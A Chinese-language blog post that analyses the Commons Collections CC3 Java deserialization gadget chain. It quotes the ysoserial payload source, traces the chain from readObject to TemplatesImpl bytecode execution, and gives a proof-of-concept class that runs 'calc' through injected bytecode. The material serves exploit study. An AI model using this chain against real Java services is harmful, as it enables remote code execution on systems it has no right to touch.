type
Post
status
Published
date
Dec 15, 2022
slug
summary
tags
工具
Java
category
技术分享
icon
password
Property
Feb 9, 2023 07:35 AM
前言
JDK<1.8u80,先来看看
CommonsCollections3反序列化调用链的利用源代码public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> { public Object getObject(final String command) throws Exception { //创建TemplatesImpl实例,将反射调用恶意命令的语句插入到一个通过javassist实例的构造方法后,然后把这个实例编译成字节码,赋值给_bytecodes属性 Object templatesImpl = Gadgets.createTemplatesImpl(command); // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImpl } )}; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain return handler; } public static void main(final String[] args) throws Exception { PayloadRunner.run(CommonsCollections3.class, args); } public static boolean isApplicableJavaVersion() { return JavaVersion.isAnnInvHUniversalMethodImpl(); } }
该链在工具中并未给出调用链,但是可以看到的是它有点像CC1和CC2的结合体,先是构建出
TemplatesImpl实例并将恶意字节码赋值到_bytecodes属性中。再来看在CC1中是使用了ChainedTransformer结合InvokerTransformer类,再利用动态代理机制触发LazyMap绑定ChainedTransformer实例来构建链式反射执行命令的语句。而这条调用链不同的是使用了ChainedTransformer结合InstantiateTransformer类来进行替代,最后执行的链则是结合了前面的TemplatesImpl实例。也就是说CC1和CC3的区别就是走了不同的路,前者结合
InvokerTransformer类,后者结合InstantiateTransformer类调用链分析
首先与CC2一样,创建一个
TemplatesImpl实例,其_bytecodes属性中包含能执行恶意语句的类的字节码
在
ChainedTransformer中有两个Transformer,第一个是ConstantTransformer,直接返回TrAXFilter.class
传递给下一个Transformer,也就是InstantiateTransformer。InstantiateTransformer的构造方法传入了两个参数,第二个参数也就是将我们构造的TemplatesImpl实例给传进去了
这里我们看看
InstantiateTransformer类中的transform方法public Object transform(Object input) { try { if (!(input instanceof Class)) { throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } else { Constructor con = ((Class)input).getConstructor(this.iParamTypes); return con.newInstance(this.iArgs); } } catch (NoSuchMethodException var6) { throw new FunctorException("InstantiateTransformer: The constructor must exist and be public "); } catch (InstantiationException var7) { throw new FunctorException("InstantiateTransformer: InstantiationException", var7); } catch (IllegalAccessException var8) { throw new FunctorException("InstantiateTransformer: Constructor must be public", var8); } catch (InvocationTargetException var9) { throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9); } }
在本例中
input正是上面的ConstantTransformer传下来的TrAXFilter.class,因此可以直接看成Constructor con = ((Class)TrAXFilter.class).getConstructor(Templates.class); return con.newInstance(templatesImpl);
这边我们先看到
TrAXFilter类的构造方法中
可以看到,其中直接调用了构造参数的
newTransformer()方法,也就是TemplatesImpl类中的newTransformer()方法以进行_bytecodes实例化
那么整个调用链的构造逻辑就出来了
1、构建恶意类
templatesImpl2、构建
transformers的数组,其中是为了利用InstantiateTransformer的transform方法去调用TrAXFilter类的构造方法,再去完成所构造恶意类的newTransformer()方法3、将
transformerChain绑定到LazyMap中4、动态代理
AnnotationInvocationHandler的invoke()方法反序列化过程
通过以上构建恶意调用链后,通过序列化得到

那么接下来就看看它在反序列化中都是如何调用并执行恶意代码的,在刚进行
readObject序列化时,先来到AnnotationInvocationHandler.readObject(),通过走动态代理来到AnnotationInvocationHandler.invoke()
一路来到
this.memberValues.get()也就是LazyMap.get()
因
LazyMap缺少key,所以可以调用this.factory.transform(key),也就是ChainedTransformer.transform()

接下来也就是利用
InstantiateTransformer.transform()方法去调用TrAXFilter.TrAXFilter()构造方法
而这里的
templates就是一开始所构建的templatesImpl实例
最后通过
TemplatesImpl.newTransformer()→getTransletInstance()以完成_bytecodes的实例化并执行了代码
调用链如下
ObjectInputStream.readObject() -> AnnotationInvocationHandler.readObject() -> this.memberValues.entrySet() = mapProxy.entrySet() -> AnnotationInvocationHandler.invoke() -> this.memberValues.get(xx) = LazyMap.get(not_exist_key) -> ChainedTransformer.transform() -> InstantiateTransformer.transform() -> TrAXFilter.TrAXFilter() -> TemplatesImpl.newTransformer() -> _bytecodes实例化 -> RCE

具体调用流程图

构建示例代码
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.TransformedMap; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class cc3_test { public static void main(String[] args) throws Exception{ TemplatesImpl template = template(); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{template}); instantiateTransformer.transform(TrAXFilter.class); // TemplatesImpl template = template(); // Transformer[] transformers = new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{template})}; // // ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // Map hm = new HashMap(); // hm.put("value",1); // Map decorate = TransformedMap.decorate(hm, null, chainedTransformer); // Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // Constructor declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class); // declaredConstructor.setAccessible(true); // Object o = declaredConstructor.newInstance(Target.class, decorate); // ByteArrayOutputStream barr = new ByteArrayOutputStream(); // ObjectOutputStream oos = new ObjectOutputStream(barr); // oos.writeObject(o); // oos.close(); // ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); // ois.readObject(); } public static TemplatesImpl template() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("Test"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); byte[] classBytes = cc.toBytecode(); byte[][] targetByteCodes = new byte[][]{classBytes}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); Field name = templates.getClass().getDeclaredField("_name"); Field tfactory = templates.getClass().getDeclaredField("_tfactory"); bytecodes.setAccessible(true); name.setAccessible(true); tfactory.setAccessible(true); bytecodes.set(templates, targetByteCodes); name.set(templates, "aaa"); tfactory.set(templates, new TransformerFactoryImpl()); return templates; } }
- Author:w1nk1
- URL:https://notion-w1nk1.vercel.app//article/51f03352-26ba-44b0-94f1-67fad3b8787d
- Copyright:All articles in this blog, except for special statements, adopt BY-NC-SA agreement. Please indicate the source!
Relate Posts